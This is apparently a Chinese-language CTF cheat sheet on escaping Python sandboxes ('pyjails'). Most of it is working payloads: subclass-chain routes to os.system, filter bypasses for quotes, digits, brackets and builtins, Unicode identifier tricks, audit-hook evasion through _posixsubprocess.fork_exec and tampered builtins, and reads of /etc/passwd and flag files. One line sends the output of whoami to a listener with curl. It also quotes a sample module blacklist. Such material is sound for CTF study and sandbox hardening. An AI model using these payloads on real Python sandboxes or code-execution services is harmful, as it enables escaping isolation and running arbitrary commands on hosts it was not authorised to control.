''.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__("__glo"+"bals__")
# __mro____bases____base__ 互换

三者之间可以相互替换

1
2
3
4
5
6
7
8
9
10
11
12
13
''.__class__.__mro__[2]
[].__class__.__mro__[1]
{}.__class__.__mro__[1]
().__class__.__mro__[1]
[].__class__.__mro__[-1]
{}.__class__.__mro__[-1]
().__class__.__mro__[-1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
[].__class__.__base__
().__class__.__base__
{}.__class__.__base__

# 过滤 import

python 中除了可以使用 import 来导入,还可以使用 __import__importlib.import_module 来导入模块

# __import__
1
__import__('os')
# importlib.import_module

不过 importlib 也需要导入,所以有些鸡肋.

1
2
import importlib
importlib.import_module('os').system('ls')

注意:importlib 需要进行导入之后才能够使用

# __loader__.load_module

如果使用 audithook 的方式进行过滤,上面的两种方法就无法使用了,但是 __loader__.load_module 底层实现与 import 不同,因此某些情况下可以绕过.

1
2
>>> __loader__.load_module('os')
<module 'os' (built-in)>

# 过滤了 []

如果中括号被过滤了,则可以使用如下的两种方式来绕过:

  1. 调用 __getitem__() 函数直接替换;# [x] <=> __getitem__(x)
  2. 调用 pop () 函数(用于移除列表中的一个元素,默认最后一个元素,并且返回该元素的值)替换;
1
2
3
4
5
6
7
8
9
''.__class__.__mro__[-1].__subclasses__()[200].__init__.__globals__['__builtins__']['__import__']('os').system('ls')

# __getitem__()替换中括号[]
''.__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(200).__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').system('ls')

# pop()替换中括号[],结合__getitem__()利用
''.__class__.__mro__.__getitem__(-1).__subclasses__().pop(200).__init__.__globals__.pop('__builtins__').pop('__import__')('os').system('ls')

getattr(''.__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(200).__init__.__globals__,'__builtins__').__getitem__('__import__')('os').system('ls')

# 过滤了 ‘’

# str 函数

如果过滤了引号,我们 payload 中构造的字符串会受到影响。其中一种方法是使用 str () 函数获取字符串,然后索引到预期的字符。将所有的字符连接起来就可以得到最终的字符串。

1
2
3
4
5
6
7
8
>>> ().__class__.__new__
<built-in method __new__ of type object at 0x9597e0>
>>> str(().__class__.__new__)
'<built-in method __new__ of type object at 0x9597e0>'
>>> str(().__class__.__new__)[21]
'w'
>>> str(().__class__.__new__)[21]+str(().__class__.__new__)[13]+str(().__class__.__new__)[14]+str(().__class__.__new__)[40]+str(().__class__.__new__)[10]+str(().__class__.__new__)[3]
'whoami'
# chr 函数

也可以使用 chr 加数字来构造字符串

1
2
3
4
5
6
>>> chr(56)
'8'
>>> chr(100)
'd'
>>> chr(100)*40
'dddddddddddddddddddddddddddddddddddddddd'
# list + dict

使用 dict 和 list 进行配合可以将变量名转化为字符串,但这种方式的弊端在于字符串中不能有空格等。

1
list(dict(whoami=1))[0] # 返回whoami
# __doc__

__doc__ 变量可以获取到类的说明信息,从其中索引出想要的字符然后进行拼接就可以得到字符串:

1
2
().__doc__.find('s')
().__doc__[19]+().__doc__[86]+().__doc__[19]
# bytes 函数

bytes 函数可以接收一个 ascii 列表,然后转换为二进制字符串,再调用 decode 则可以得到字符串

1
bytes([115, 121, 115, 116, 101, 109]).decode()

# 过滤了 +

过滤了 + 号主要影响到了构造字符串,假如题目过滤了引号和加号,构造字符串还可以使用 join 函数,初始的字符串可以通过 str () 进行获取。具体的字符串内容可以从 __doc__ 中取,

1
str().join(().__doc__[19],().__doc__[23])

# 过滤了数字

如果过滤了数字的话,可以使用一些函数的返回值获取。例如:
0: int(bool([]))Flaselen([])any(())
1: int(bool([""]))Trueall(())int(list(list(dict(a၁=())).pop()).pop())

有了 0 之后,其他的数字可以通过运算进行获取:

1
2
3
4
0 ** 0 == 1
1 + 1 == 2
2 + 1 == 3
2 ** 2 == 4

当然,也可以直接通过 repr 获取一些比较长字符串,然后使用 len 获取大整数。

1
2
3
4
>>> len(repr(True))
4
>>> len(repr(bytearray))
19

第三种方法,可以使用 len + dict + list 来构造,这种方式可以避免运算符的的出现

1
2
3
0 -> len([])
2 -> len(list(dict(aa=()))[len([])])
3 -> len(list(dict(aaa=()))[len([])])

第四种方法: unicode

# 过滤了空格

通过 (),[] 代替

# 过滤了运算符

== 可以用 in 代替

or 可以用 | + -。。。- 来替换

例如

1
2
3
4
5
for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]:
ans = i[0]==i[1] or i[2]==i[3]
print(bool(eval(f'{i[0]==i[1]} | {i[2]==i[3]}')) == ans)
print(bool(eval(f'- {i[0]==i[1]} - {i[2]==i[3]}')) == ans)
print(bool(eval(f'{i[0]==i[1]} + {i[2]==i[3]}')) == ans)

and 可以用 & * 替代

例如

1
2
3
4
for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]:
ans = i[0]==i[1] and i[2]==i[3]
print(bool(eval(f'{i[0]==i[1]} & {i[2]==i[3]}')) == ans)
print(bool(eval(f'{i[0]==i[1]} * {i[2]==i[3]}')) == ans)

# 过滤了 ()

  1. 利用装饰器 @
  2. 利用魔术方法,例如 enum.EnumMeta.__getitem__

# f 字符串执行

f 字符串算不上一个绕过,更像是一种新的攻击面,通常情况下用来获取敏感上下文信息,例如过去环境变量

1
2
3
4
5
6
7
8
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
{whoami.__globals__[os].environ}
{whoami.__globals__[sys].path}
{whoami.__globals__[sys].modules}

# Access an element through several links
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}

也可以直接 RCE

1
2
3
4
>>> f'{__import__("os").system("whoami")}'
kali
'0'
>>> f"{__builtins__.__import__('os').__dict__['popen']('ls').read()}"

# 过滤了内建函数

# eval + list + dict 构造

假如我们在构造 payload 时需要使用 str 函数、bool 函数、bytes 函数等,则可以使用 eval 进行绕过。

1
2
3
4
5
6
>>> eval('str')
<class 'str'>
>>> eval('bool')
<class 'bool'>
>>> eval('st'+'r')
<class 'str'>

这样就可以将函数名转化为字符串的形式,进而可以利用字符串的变换来进行绕过。

1
2
>>> eval(list(dict(s_t_r=1))[0][::2])
<class 'str'>

这样一来,只要 list 和 dict 没有被禁,就可以获取到任意的内建函数。如果某个模块已经被导入了,则也可以获取这个模块中的函数。

# 过滤了。和 ,如何获取函数

通常情况下,我们会通过点号来进行调用 __import__('binascii').a2b_base64

或者通过 getattr 函数: getattr(__import__('binascii'),'a2b_base64')

如果将,号和。都过滤了,则可以有如下的几种方式获取函数:

  1. 内建函数可以使用 eval(list(dict(s_t_r=1))[0][::2]) 这样的方式获取。

  2. 模块内的函数可以先使用 __import__ 导入函数,然后使用 vars () j 进行获取:

    1
    2
    >>> vars(__import__('binascii'))['a2b_base64']
    <built-in function a2b_base64>

# unicode 绕过

Python 3 开始支持非 ASCII 字符的标识符,也就是说,可以使用 Unicode 字符作为 Python 的变量名,函数名等。Python 在解析代码时,使用的 Unicode Normalization Form KC (NFKC) 规范化算法,这种算法可以将一些视觉上相似的 Unicode 字符统一为一个标准形式。

image.png

相似 unicode 寻找网站:http://shapecatcher.com/

可以通过绘制的方式寻找相似字符

下划线可以使用对应的全角字符进行替换:

1
_

使用时注意第一个字符不能为全角,否则会报错:

1
2
3
4
5
6
7
>>> print(__name__)
__main__
>>> print(__name__)
File "<stdin>", line 1
print(__name__)
^
SyntaxError: invalid character '_' (U+FF3F)

需要注意的是,某些 unicode 在遇到 lower () 函数时也会发生变换,因此碰到 lower ()、upper () 这样的函数时要格外注意。

# 绕过命名空间限制

# 部分限制

有些沙箱在构建时使用 exec 来执行命令,exec 函数的第二个参数可以指定命名空间,通过修改、删除命名空间中的函数则可以构建一个沙箱。例子来源于 iscc_2016_pycalc。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def _hook_import_(name, *args, **kwargs):
module_blacklist = ['os', 'sys', 'time', 'bdb', 'bsddb', 'cgi',
'CGIHTTPServer', 'cgitb', 'compileall', 'ctypes', 'dircache',
'doctest', 'dumbdbm', 'filecmp', 'fileinput', 'ftplib', 'gzip',
'getopt', 'getpass', 'gettext', 'httplib', 'importlib', 'imputil',
'linecache', 'macpath', 'mailbox', 'mailcap', 'mhlib', 'mimetools',
'mimetypes', 'modulefinder', 'multiprocessing', 'netrc', 'new',
'optparse', 'pdb', 'pipes', 'pkgutil', 'platform', 'popen2', 'poplib',
'posix', 'posixfile', 'profile', 'pstats', 'pty', 'py_compile',
'pyclbr', 'pydoc', 'rexec', 'runpy', 'shlex', 'shutil', 'SimpleHTTPServer',
'SimpleXMLRPCServer', 'site', 'smtpd', 'socket', 'SocketServer',
'subprocess', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib',
'tempfile', 'Tix', 'trace', 'turtle', 'urllib', 'urllib2',
'user', 'uu', 'webbrowser', 'whichdb', 'zipfile', 'zipimport']
for forbid in module_blacklist:
if name == forbid: # don't let user import these modules
raise RuntimeError('No you can\' import {0}!!!'.format(forbid))
# normal modules can be imported
return __import__(name, *args, **kwargs)

def sandbox_exec(command): # sandbox user input
result = 0
__sandboxed_builtins__ = dict(__builtins__.__dict__)
__sandboxed_builtins__['__import__'] = _hook_import_ # hook import
del __sandboxed_builtins__['open']
_global = {
'__builtins__': __sandboxed_builtins__
}

...
exec command in _global # do calculate in a sandboxed
...
  1. 沙箱首先获取 __builtins__ ,然后依据现有的 __builtins__ 来构建命名空间。
  2. 修改 __import__ 函数为自定义的 _hook_import_
  3. 删除 open 函数防止文件操作
  4. exec 命令。

绕过方式:

由于 exec 运行在特定的命名空间里,可以通过获取其他命名空间里的 __builtins__ (这个 __builtins__ 保存的就是原始 __builtins__ 的引用),比如 types 库,来执行任意命令:

1
2
__import__('types').__builtins__
__import__('string').__builtins__

# 完全限制 (no builtins)

如果沙箱完全清空了 __builtins__ , 则无法使用 import, 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
>>> eval("__import__", {"__builtins__": {}},{"__builtins__": {}})
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1, in <module>
NameError: name '__import__' is not defined
>>> eval("__import__")
<built-in function __import__>

>>> exec("import os")
>>> exec("import os",{"__builtins__": {}},{"__builtins__": {}})
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1, in <module>
ImportError: __import__ not found

这种情况下我们就需要利用 python 继承链来绕过,其步骤简单来说,就是通过 python 继承链获取内置类,然后通过这些内置类获取到敏感方法例如 os.system 然后再进行利用。

用 python 继承链搞事情

具体原理可见:Python 沙箱逃逸小结

常见的一些 payload 如下:

# RCE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")

# subprocess
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen'][0]('ls')

# builtins
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_GeneratorContextManagerBase" and "os" in x.__init__.__globals__ ][0]["__builtins__"]

# help
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_GeneratorContextManagerBase" and "os" in x.__init__.__globals__ ][0]["__builtins__"]['help']

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]['__builtins__']

#sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")

#commands (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")

#pty (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")

#importlib
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")

#imp
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")

#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")

# ctypes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__('ctypes').CDLL(None).system('ls /'.encode())

# multiprocessing
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__('multiprocessing').Process(target=lambda: __import__('os').system('curl localhost:9999/?a=`whoami`')).start()
# File

操作文件可以使用 builtins 中的 open,也可以使用 FileLoader 模块的 get_data 方法。

1
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__=="FileLoader" ][0].get_data(0,"/etc/passwd")

# 绕过长度限制

BYUCTF_2023 中的几道 jail 题对 payload 的长度作了限制

1
eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130])

题目限制不能出现数字字母,构造的目标是调用 open 函数进行读取

1
print(open(bytes([102,108,97,103,46,116,120,116])).read())

函数名比较好绕过,直接使用 unicode。数字也可以使用 ord 来获取然后进行相减。我这里选择的是 chr (333).

1
2
3
4
5
6
7
8
9
# f = 102 = 333-231 = ord('ō')-ord('ç')
# a = 108 = 333-225 = ord('ō')-ord('á')
# l = 97 = 333-236 = ord('ō')-ord('ì')
# g = 103 = 333-230 = ord('ō')-ord('æ')
# . = 46 = 333-287 = ord('ō')-ord('ğ')
# t = 116 = 333-217 = ord('ō')-ord('Ù')
# x = 120 = = 333-213 = ord('ō')-ord('Õ')

print(open(bytes([ord('ō')-ord('ç'),ord('ō')-ord('á'),ord('ō')-ord('ì'),ord('ō')-ord('æ'),ord('ō')-ord('ğ'),ord('ō')-ord('Ù'),ord('ō')-ord('Õ'),ord('ō')-ord('Ù')])).read())

但这样的话其实长度超出了限制。而题目的 eval 表示不支持分号;,这种情况下,我们可以添加一个 exec。然后将 ord 以及不变的 a('ō') 进行替换。这样就可以构造一个满足条件的 payload

1
exec("a=ord;b=a('ō');print(open(bytes([b-a('ç'),b-a('á'),b-a('ì'),b-a('æ'),b-a('ğ'),b-a('Ù'),b-a('Õ'),b-a('Ù')])).read())")

但其实尝试之后发现这个 payload 会报错,原因在于其中的某些 unicode 字符遇到 lower () 时会发生变化,避免 lower 产生干扰,可以在选取 unicode 时选择 ord 值更大的字符。例如 chr (4434)

当然,可以直接使用 input 函数来绕过长度限制。

# 打开 input 输入

如果沙箱内执行的内容是通过 input 进行传入的话(不是 web 传参),我们其实可以传入一个 input 打开一个新的输入流,然后再输入最终的 payload,这样就可以绕过所有的防护。

以 BYUCTF2023 jail a-z0-9 为例:

1
eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130])

即使限制了字母数字以及长度,我们可以直接传入下面的 payload(注意是 unicode)
()
这段 payload 打开 input 输入后,我们再输入最终的 payload 就可以正常执行。

1
__import__('os').system('whoami')

打开输入流需要依赖 input 函数,no builtins 的环境中或者题目需要以 http 请求的方式进行输入时,这种方法就无法使用了。

下面是一些打开输入流的方式:

# sys.stdin.read()

注意输入完毕之后按 ctrl+d 结束输入

1
2
3
4
5
>>> eval(sys.stdin.read())
__import__('os').system('whoami')
kali
0
>>>
# sys.stdin.readline()
1
2
>>> eval(sys.stdin.readline())
__import__('os').system('whoami')
# sys.stdin.readlines()
1
2
>>> eval(sys.stdin.readlines()[0])
__import__('os').system('whoami')

在 python2 中,在 python 2 中,input 函数从标准输入接收输入之后会自动 eval 求值。因此无需在前面加上 eval。但 raw_input 不会自动 eval。

# breakpoint 函数

pdb 模块定义了一个交互式源代码调试器,用于 Python 程序。它支持在源码行间设置(有条件的)断点和单步执行,检视堆栈帧,列出源码列表,以及在任何堆栈帧的上下文中运行任意 Python 代码。它还支持事后调试,可以在程序控制下调用。

在输入 breakpoint () 后可以代开 Pdb 代码调试器,在其中就可以执行任意 python 代码

# help 函数

help 函数可以打开帮助文档。索引到 os 模块之后可以打开 sh

当我们输入 help 时,注意要进行 unicode 编码,help 函数会打开帮助

然后输入 os, 此时会进入 os 的帮助文档。

1
help> os

然后在输入 !sh 就可以拿到 /bin/sh, 输入 !bash 则可以拿到 /bin/bash

1
2
3
4
help> os
$ ls
a-z0-9.py exp2.py exp.py flag.txt
$

# 绕过多行限制

绕过多行限制的利用手法通常在限制了单行代码的情况下使用,例如 eval, 中间如果存在;或者换行会报错。

1
2
3
4
5
>>> eval("__import__('os');print(1)")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1
__import__('os');print(1)

# exec

exec 可以支持换行符与 ;

1
2
>>> eval("exec('__import__(\"os\")\\nprint(1)')")
1

# compile

compile 在 single 模式下也同样可以使用 \n 进行换行,在 exec 模式下可以直接执行多行代码.

1
eval('''eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec'))''')

# 海象表达式

海象表达式是 Python 3.8 引入的一种新的语法特性,用于在表达式中同时进行赋值和比较操作。

海象表达式的语法形式如下:

1
<expression> := <value> if <condition> else <value>

借助海象表达式,我们可以通过列表来替代多行代码:

1
2
3
>>> eval('[a:=__import__("os"),b:=a.system("id")]')
uid=1000(kali) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),122(bluetooth),134(scanner),142(kaboxer)
[<module 'os' (frozen)>, 0]

# 变量覆盖与函数篡改

在 Python 中,sys 模块提供了许多与 Python 解释器和其环境交互的功能,包括对全局变量和函数的操作。在沙箱中获取 sys 模块就可以达到变量覆盖与函数擦篡改的目的.

sys.modules 存放了现有模块的引用,通过访问 sys.modules['__main__'] 就可以访问当当前模块定义的所有函数以及全局变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
>>> aaa = 'bbb'
>>> def my_input():
... dict_global = dict()
... while True:
... try:
... input_data = input("> ")
... except EOFError:
... print()
... break
... except KeyboardInterrupt:
... print('bye~~')
... continue
... if input_data == '':
... continue
... try:
... complie_code = compile(input_data, '<string>', 'single')
... except SyntaxError as err:
... print(err)
... continue
... try:
... exec(complie_code, dict_global)
... except Exception as err:
... print(err)
...
>>> import sys
>>> sys.modules['__main__']
<module '__main__' (built-in)>
>>> dir(sys.modules['__main__'])
['__annotations__', '__builtins__', '__doc__', '__loader__', '__name__', '__package__', '__spec__', 'aaa', 'my_input', 'sys']
>>> sys.modules['__main__'].aaa
'bbb'

除了通过 sys 模块来获取当前模块的变量以及函数外,还可以通过 __builtins__ 篡改内置函数等,这只是一个思路.

总体来说,只要获取了某个函数或者变量就可以篡改,难点就在于获取.

# 利用 gc 获取已删除模块

这个思路来源于 writeup by fab1ano – github

这道题的目标是覆盖 __main__ 中的 __exit 函数,但是题目将 sys.modules['__main__'] 删除了,无法直接获取.

1
2
3
for module in set(sys.modules.keys()):
if module in sys.modules:
del sys.modules[module]

gc 是 Python 的内置模块,全名为 "garbage collector",中文译为 "垃圾回收"。 gc 模块主要的功能是提供一个接口供开发者直接与 Python 的垃圾回收机制进行交互。

Python 使用了引用计数作为其主要的内存管理机制,同时也引入了循环垃圾回收器来检测并收集循环引用的对象。 gc 模块提供了一些函数,让你可以直接控制这个循环垃圾回收器。

下面是一些 gc 模块中的主要函数:

  1. gc.collect(generation=2) :这个函数会立即触发一次垃圾回收。你可以通过 generation 参数指定要收集的代数。Python 的垃圾回收器是分代的,新创建的对象在第一代,经历过一次垃圾回收后仍然存活的对象会被移到下一代。
  2. gc.get_objects() :这个函数会返回当前被管理的所有对象的列表。
  3. gc.get_referrers(*objs) :这个函数会返回指向 objs 中任何一个对象的对象列表。

exp 如下

1
2
3
4
5
6
7
8
9
for obj in gc.get_objects():
if '__name__' in dir(obj):
if '__main__' in obj.__name__:
print('Found module __main__')
mod_main = obj
if 'os' == obj.__name__:
print('Found module os')
mod_os = obj
mod_main.__exit = lambda x : print("[+] bypass")

在 3.11 版本和 python 3.8.10 版本中测试发现会触发 gc.get_objects hook 导致无法成功.

# 利用 traceback 获取模块

这个思路来源于 writeup by hstocks – github

主动抛出异常,并获取其后要执行的代码,然后将 __exit 进行替换,思路也是十分巧妙.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
try:
raise Exception()
except Exception as e:
_, _, tb = sys.exc_info()
nxt_frame = tb.tb_frame

# Walk up stack frames until we find one which
# has a reference to the audit function
while nxt_frame:
if 'audit' in nxt_frame.f_globals:
break
nxt_frame = nxt_frame.f_back

# Neuter the __exit function
nxt_frame.f_globals['__exit'] = print

# Now we're free to call whatever we want
os.system('cat /flag*')

但是实际测试时使用 python 3.11 发现 nxt_frame = tb.tb_frame 会触发 object.__getattr__ hook. 不同的版本中触发 hook 的地方会有差异,这个 payload 可能仅在 python 3.9 (题目版本) 中适用

# 绕过 audit hook

Python 的审计事件包括一系列可能影响到 Python 程序运行安全性的重要操作。这些事件的种类及名称不同版本的 Python 解释器有所不同,且可能会随着 Python 解释器的更新而变动。

Python 中的审计事件包括但不限于以下几类:

  • import :发生在导入模块时。
  • open :发生在打开文件时。
  • write :发生在写入文件时。
  • exec :发生在执行 Python 代码时。
  • compile :发生在编译 Python 代码时。
  • socket :发生在创建或使用网络套接字时。
  • os.systemos.popen 等:发生在执行操作系统命令时。
  • subprocess.Popensubprocess.run 等:发生在启动子进程时。

calc_jail_beginner_level6 这道题中使用了 audithook 构建沙箱,采用白名单来进行限制.audit hook 属于 python 底层的实现,因此常规的变换根本无法绕过.

这道题需要绕过的点有两个:

  1. 绕过 import 导入模块。如果直接使用 import, 就会触发 audithook

    1
    2
    > __import__('ctypes')
    Operation not permitted: import
  2. 绕过常规的命令执行方法执行命令。利用 os, subproccess 等模块执行命令时也会触发 audithook

在上文利用 _posixsubprocess.fork.exec 绕过之外:

# _posixsubprocess 执行命令

_posixsubprocess 模块是 Python 的内部模块,提供了一个用于在 UNIX 平台上创建子进程的低级别接口。subprocess 模块的实现就用到了 _posixsubprocess.

该模块的核心功能是 fork_exec 函数,fork_exec 提供了一个非常底层的方式来创建一个新的子进程,并在这个新进程中执行一个指定的程序。但这个模块并没有在 Python 的标准库文档中列出,每个版本的 Python 可能有所差异.

在我本地的 Python 3.11 中具体的函数声明如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def fork_exec(
__process_args: Sequence[StrOrBytesPath] | None,
__executable_list: Sequence[bytes],
__close_fds: bool,
__fds_to_keep: tuple[int, ...],
__cwd_obj: str,
__env_list: Sequence[bytes] | None,
__p2cread: int,
__p2cwrite: int,
__c2pred: int,
__c2pwrite: int,
__errread: int,
__errwrite: int,
__errpipe_read: int,
__errpipe_write: int,
__restore_signals: int,
__call_setsid: int,
__pgid_to_set: int,
__gid_object: SupportsIndex | None,
__groups_list: list[int] | None,
__uid_object: SupportsIndex | None,
__child_umask: int,
__preexec_fn: Callable[[], None],
__allow_vfork: bool,
) -> int: ...
  • __process_args : 传递给新进程的命令行参数,通常为程序路径及其参数的列表。
  • __executable_list : 可执行程序路径的列表。
  • __close_fds : 如果设置为 True,则在新进程中关闭所有的文件描述符。
  • __fds_to_keep : 一个元组,表示在新进程中需要保持打开的文件描述符的列表。
  • __cwd_obj : 新进程的工作目录。
  • __env_list : 环境变量列表,它是键和值的序列,例如:[“PATH=/usr/bin”, “HOME=/home/user”]。
  • __p2cread, __p2cwrite, __c2pred, __c2pwrite, __errread, __errwrite : 这些是文件描述符,用于在父子进程间进行通信。
  • __errpipe_read, __errpipe_write : 这两个文件描述符用于父子进程间的错误通信。
  • __restore_signals : 如果设置为 1,则在新创建的子进程中恢复默认的信号处理。
  • __call_setsid : 如果设置为 1,则在新进程中创建新的会话。
  • __pgid_to_set : 设置新进程的进程组 ID。
  • __gid_object, __groups_list, __uid_object : 这些参数用于设置新进程的用户 ID 和组 ID。
  • __child_umask : 设置新进程的 umask。
  • __preexec_fn : 在新进程中执行的函数,它会在新进程的主体部分执行之前调用。
  • __allow_vfork : 如果设置为 True,则在可能的情况下使用 vfork 而不是 fork。vfork 是一个更高效的 fork,但是使用 vfork 可能会有一些问题 。

下面是一个最小化示例:

1
2
3
4
import os
import _posixsubprocess

_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)

结合上面的 __loader__.load_module(fullname) 可以得到最终的 payload:

1
__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module('os').pipe()), False, False,False, None, None, None, -1, None, False)

可以看到全程触发了 builtins.input/result , compile, exec 三个 hook, 这些 hook 的触发都是因为 input, compile, exec 函数而触发的, __loader__.load_module_posixsubprocess 都没有触发.

1
2
3
[+] builtins.input/result, ('__loader__.load_module(\'_posixsubprocess\').fork_exec([b"/bin/cat","/flag"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module(\'os\').pipe()), False, False,False, None, None, None, -1, None, False)',)
[+] compile, (b'__loader__.load_module(\'_posixsubprocess\').fork_exec([b"/bin/cat","/flag"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module(\'os\').pipe()), False, False,False, None, None, None, -1, None, False)', '<string>')
[+] exec, (<code object <module> at 0x7fbecc924670, file "<string>", line 1>,)

# __loader__.load_module 导入模块

__loader__.load_module(fullname) 也是 python 中用于导入模块的一个方法并且不需要导入其他任何库.

1
__loader__.load_module('os')

__loader__ 实际上指向的是 _frozen_importlib.BuiltinImporter 类,也可以通过别的方式进行获取

1
2
3
4
5
6
7
8
>>> ().__class__.__base__.__subclasses__()[84]
<class '_frozen_importlib.BuiltinImporter'>
>>> __loader__
<class '_frozen_importlib.BuiltinImporter'>
>>> ().__class__.__base__.__subclasses__()[84].__name__
'BuiltinImporter'
>>> [x for x in ().__class__.__base__.__subclasses__() if 'BuiltinImporter' in x.__name__][0]
<class '_frozen_importlib.BuiltinImporter'>

__loader__.load_module 也有一个缺点就是无法导入非内建模块, 例如 socket

1
2
3
4
5
6
7
8
9
>>> __loader__.load_module('socket')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<frozen importlib._bootstrap>", line 290, in _load_module_shim
File "<frozen importlib._bootstrap>", line 721, in _load
File "<frozen importlib._bootstrap>", line 676, in _load_unlocked
File "<frozen importlib._bootstrap>", line 573, in module_from_spec
File "<frozen importlib._bootstrap>", line 776, in create_module
ImportError: 'socket' is not a built-in module

# 篡改内置函数

这道 audit hook 题还有一个解法,可以看到 WHITE_EVENT 是通过 set 函数返回的,set 函数作为一个内置函数实际上也是可以被修改的

1
WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'})

比如我们将 set 函数修改为固定返回一个包含了 os.system 函数的列表

1
__builtins__.set = lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']

这样 set 函数会固定返回带有 os.system 的列表.

最终 payload:

1
2
3
4
exec("for k,v in enumerate(globals()['__builtins__']): print(k,v)")

# 篡改函数
exec("globals()['__builtins__']['set']=lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\nimport os\nos.system('cat flag2.txt')")

# 其他不触发 hook 的方式

使用 __loader__.load_module('os') 是为了获取 os 模块,其实在 no builtins 利用手法中,无需导入也可以获取对应模块。例如:

# 绕过 AST 沙箱

Python 的 ast 模块是一个用于处理 Python 代码抽象语法树(AST)的库。它提供了一些工具,可以让开发者轻松地检查、修改和生成 Python 代码的 AST。

抽象语法树是 Python 源代码的一种树形表示形式,用于表示 Python 代码的语法结构。Python 的 ast 模块可以将 Python 代码解析为 AST,并提供了许多方法和属性,以便开发者可以访问和修改 AST 节点。

以下是 ast 模块中常用的一些类和方法:

  1. ast.parse(source, filename=’’, mode=‘exec’):将源代码解析为 AST 对象。
  2. ast.dump (node):将 AST 节点转换为字符串形式输出。
  3. ast.NodeVisitor:一个基类,可以用于遍历和修改 AST 树。
  4. ast.NodeTransformer:一个基类,可以用于修改 AST 节点。
  5. ast.Module:表示 Python 模块。
  6. ast.FunctionDef:表示 Python 函数。
  7. ast.ClassDef:表示 Python 类。
  8. ast.Assign:表示 Python 的赋值语句。
  9. ast.Name :表示 Python 的变量名。

使用 ast 模块可以让开发者方便地访问和修改 Python 代码的语法结构,例如可以用它来分析 Python 代码的复杂度、检查代码的安全性、提取代码中的关键字等等。python ast 详解与用法 - CSDN 博客

